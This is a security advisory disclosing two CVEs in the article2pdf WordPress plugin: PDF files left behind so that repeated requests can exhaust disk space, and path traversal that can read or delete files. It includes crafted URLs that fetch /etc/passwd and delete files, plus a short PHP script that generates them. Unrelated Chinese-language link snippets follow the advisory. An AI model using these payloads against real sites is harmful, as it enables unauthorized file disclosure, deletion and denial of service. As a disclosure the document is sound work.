Product: article2pdf (Wordpress plug-in)
Product Website: https://wordpress.org/plugins/article2pdf/
Affected Versions: 0.24 and greater

The following vulnerabilities were found in a code review of the
plug-in. An attempt to contact the
plug-in maintainer on 8 December 2018 was unsuccessful. The Wordpress
security team disabled downloads
of the plug-in upon notification on 8 January 2019.

I would like to thank Ken Johnson (@cktricky) and Set Law (@sethlaw)
whose course
"Seth & Ken's Excellent Adventures in Secure Code Review" sparked my
interest in reviewing code for
vulnerabilities.

[CVE-2019-1000031] Generated PDF file is only removed after download
which is initiated by a redirect
=====================================================================================================
Type:
-----
Resource Exhaustion

Description:
-----------
The plugin generates a PDF version of a post/article when a link of the
form

https://www.example.com/.../my-post-title/?article2pdf=1

is visited. The response to this initial request is a redirect to a link
like

http://www.example.com/wp-content/plugins/article2pdf/article2pdf_getfile.php?p=xxx&r=yyy&d=zzz

which will then return the PDF file contents and subsequently delete
the file.

As the deletion is coupled with the download but the download is
initiated by a different request than the one which creates the file,
visiting the link which creates the file and not following the redirect
results in the file not being deleted. These files can then accumulate
and potentially exhaust the available disk space.

Depending on the server setup, space exhaustion of a hard drive or hard
drive partition or even just a disk quota can result in denial of
service even for unrelated services on the same machine which rely on
the same resource.

This issue was originally reported on the plugin's bug tracker [2] but
never identified as a vulnerability.

Exploit
-------
Repeatedly visit a PDF generation link the plugin provides without ever
following the redirect to exhaust disk space.

[CVE-2019-1010257] PDF file download path is constructed from
insufficiently sanitised user input
=================================================================================================
Type:
-----
Information Disclosure / File Deletion

Description:
------------
When visiting the PDF download link which the original PDF generation
link redirects to, the file path is constructed from a combination of
fixed strings and the strings provided via the query string of the
download URL. The download URL has the form

http://www.example.com/wp-content/plugins/article2pdf/article2pdf_getfile.php?p=xxx&r=yyy&d=zzz

where xxx is a base64 encoded absolute string, xxx is a short hex hash
and zzz is the base64 encoded URL title slug of the post the PDF was
generated from. While the plugin attempts to sanitise these input
parameters to not allow path traversal, this sanitisation is
insufficient and can be fully or partially circumvented depending on
the PHP version the Wordpress instance is running on.

In the case of PHP version <5.3 it is possible to read any file the
user the plugin is executed under has read access to by just encoding
the full file path in the parameter "d" and terminating that string
with a null-byte. The parameter "p" must not be empty but can contain
any value. The parameter "r" may be empty but its value is of no
significance. If the user that the script is executed as has write
access to the file or the directory it is stored in, the file will be
deleted after it has been downloaded. If the user has no write access,
an error message may be shown at the end of the file contents
offered which discloses the Wordpress instance's install directory on
the server.

In the case of PHP version >=5.3, null-termination will no longer cut
off the string. As the generated file name ends with a fixed string
".pdf", only files with that file ending can be read. The parameter "d"
may be any directory on the server. The parameter "p" needs to contain
8 backspace characters to delete a prepended fixed string from the file
name while the parameter "r" must contain exactly one backspace. The
actual file name (without the ".pdf") can then be appended to the
backspaces in either parameter "p" or parameter "r". It is also
possible to have "p" contain one random character and then have 10
backspace characters followed by the actual file name (again,
without the ".pdf") stored in parameter "r".

The information above can also be found on the plug-in's issue tracker
[3].

Exploit:
--------
On PHP <5.3, a specially crafted link like

http://php52.example.com/wp-content/plugins/article2pdf/article2pdf_getfile.php?p=YQ==&r=&amp;d=L2V0Yy9wYXNzd2QA

will download the server's /etc/passwd file.

On PHP >=5.3, a specially crafted link like

http://www.example.com/wp-content/plugins/article2pdf/article2pdf_getfile.php?p=CAgICAgICAg=&;r=%08test&amp;d=L3RtcA==

will return the contents of the file "/tmp/test.pdf" and delete the
file if the user the script is executed as has permissions to do so.

The link used above can be generated using a few lines of PHP:

<?php
     $d52 = base64_encode("/etc/passwd\0");
     $p52 = base64_encode("a");
     $r52 = "";
     echo
"http://www.example.com/wp-content/plugins/article2pdf/article2pdf_getfile.php?p=${p52}&r=${r52}&d=${d52}\n";
     $d53 = base64_encode("/tmp");
     $p53_raw = "";
     for ($i=0;$i<8; $i++) $p53_raw .= chr(8);
     $p53 = base64_encode($p53_raw);
     $r53 = "%08test";
     echo
"http://www.example.com/wp-content/plugins/article2pdf/article2pdf_getfile.php?p=${p53}&r=${r53}&d=${d53}\n";

[1] https://wordpress.org/plugins/article2pdf/
[2]
https://wordpress.org/support/topic/plugin-article2pdf-temporary-files-filling-up-server-space/
[3]
https://wordpress.org/support/topic/pdf-download-path-improperly-sanitised/

article2pdf (Wordpress plug-in) Multiple vulnerabilities(CVE-2019-1000031, CVE-2019-1010257)的更多相关文章

  1. Visual Studio 2019 发布活动 - 2019 年 4 月 2 日

    Visual Studio 2019 发布活动 2019 年 4 月 2 日,星期二 | 上午 9:00 (PT) 围观: https://visualstudio.microsoft.com/zh- ...

  2. wordpress插件:multiple post thumbnails(可为文章添加多个特色图片)

    我们经常会给wordpress的文章加上特色图片来实现日志缩略图的需求,但是很多时候一张图片并不能够完美而又全面的表达我们wordpress文章的内容,这时候您可能就会需要这样一个能让wordpres ...

  3. Multiple vulnerabilities in DASAN H660RM GPON router firmware

    CVE-2019-9974: diag_tool.cgi on DASAN H660RM devices with firmware 1.03-0022 allows spawning ping pr ...

  4. wordpress 上传图片时提示“无法建立目录wp-content/uploads/2019/03。有没有上级目录的写权限?”

    查一下网站目录下wp-content目录的权限, # ls -l drwxr-xr-x  5 nobody 65534  4096 Feb  3  2016 wp-content 修改wp-conte ...

  5. CVE: 2014-6271、CVE: 2014-7169 Bash Specially-crafted Environment Variables Code Injection Vulnerability Analysis

    目录 . 漏洞的起因 . 漏洞原理分析 . 漏洞的影响范围 . 漏洞的利用场景 . 漏洞的POC.测试方法 . 漏洞的修复Patch情况 . 如何避免此类漏洞继续出现 1. 漏洞的起因 为了理解这个漏 ...

  6. 2019.3.28&2019.3.30考试

    2019.3.28 : 肥肠爆芡,因为这场考试的题太屑了,所以我咕咕了 Upd on 2019.3.30 压进来一篇(因为都没啥意义) 2019.3.30 : 全机房读错题+没有大样例=T2全体爆炸 ...

  7. 2019.2.28&2019.3.1 考试

    因为没A/改几道题,就一起写了 题目在LOJ上都能找到 2019.2.28 100+20+12 前两个小时一直在睡觉+想题也没思路,我太菜了 T1 洗衣服 分开处理出洗衣服和烘干的时间,然后一边正着排 ...

  8. PS 2019 | Photoshop CC 2019 的安装激活

    文章目录 写在前面 安装步骤 软件激活 关闭"主页"屏幕 写在前面 Photoshop CC 2019(64位)下载地址: 链接:https://pan.baidu.com/s/1 ...

  9. 测试工具Telerik Test Studio发布R2 2019|支持VS 2019

    Telerik Test Studio是一个用于功能性Web.桌面和移动测试的直观测试自动化工具,它能轻松地实现自动化测试.同时会为GUI.性能.加载和API测试提供完整的自动化测试解决方案. |更多 ...

随机推荐

  1. TimerTask的run()方法里面如何调用service层里面的方法

    在java的spring框架中,用Timer和TimerTask来实现定时任务,有时我们要在TimerTask的子类的重写run方法里,调用service层的方法. 但是不管是spring.xml配置 ...

  2. htmlunit 校验验证码

    htmlUnit 校验验证码 直接上代码 String url = "http://www.zycg.gov.cn/"; WebclientUtil webClientUtils ...

  3. 牛客网NOIP赛前集训营-提高组(第一场)

    牛客的这场比赛感觉真心不错!! 打得还是很过瘾的.水平也比较适合. T1:中位数: 题目描述 小N得到了一个非常神奇的序列A.这个序列长度为N,下标从1开始.A的一个子区间对应一个序列,可以由数对[l ...

  4. 洛谷P4070 生成魔咒

    题意:给定字符串,求每个前缀的本质不同的子串数量.字符集1e9. 解:在线构造后缀自动机并统计答案. 答案就是∑len[i] - len[fail[i]] 每次增加的时候,至多对三个节点有影响.然而把 ...

  5. bcftools合并vcf文件

    见命令: bcftools merge A.vcf.gz B.vcf.gz C.vcf.gz -Oz -o ABC.vcf.gz 参考链接:http://vcftools.sourceforge.ne ...

  6. 斯坦福大学公开课机器学习: machine learning system design | error analysis(误差分析:检验算法是否有高偏差和高方差)

    误差分析可以更系统地做出决定.如果你准备研究机器学习的东西或者构造机器学习应用程序,最好的实践方法不是建立一个非常复杂的系统.拥有多么复杂的变量,而是构建一个简单的算法.这样你可以很快地实现它.研究机 ...

  7. 第五节,TensorFlow编程基础案例-session使用(上)

    在第一节中我们已经介绍了一些TensorFlow的编程技巧;第一节,TensorFlow基本用法,但是内容过于偏少,对于TensorFlow的讲解并不多,这一节对之前的内容进行补充,并更加深入了解讲解 ...

  8. struts2 OGNL配和通用标签和其它标签的使用

    三.OGNL配合通用标签的其他使用 1.iterator标签(很重要) 动作类 package com.itheima.web.action; import java.util.ArrayList; ...

  9. ajax请求封装函数

    写封装函数的套路 1.先写出这个函数原来的基本用法 2.写一个没有形参空函数,将上一步的代码直接作为函数体, 3.根据使用过程中,抽象出来需要变的东西作为形参 function ajax (metho ...

  10. Ajxa用在哪些方面(六)

    Ajax只有在适当的地方才会用到,也即需要在后台进行大量数据处理(充当消息通知机制),需要频繁的定时或不定时从服务器中读取数据的时候.1.比如我们常接触电子邮件系统中,因为电子邮件系统一般都由电子邮件 ...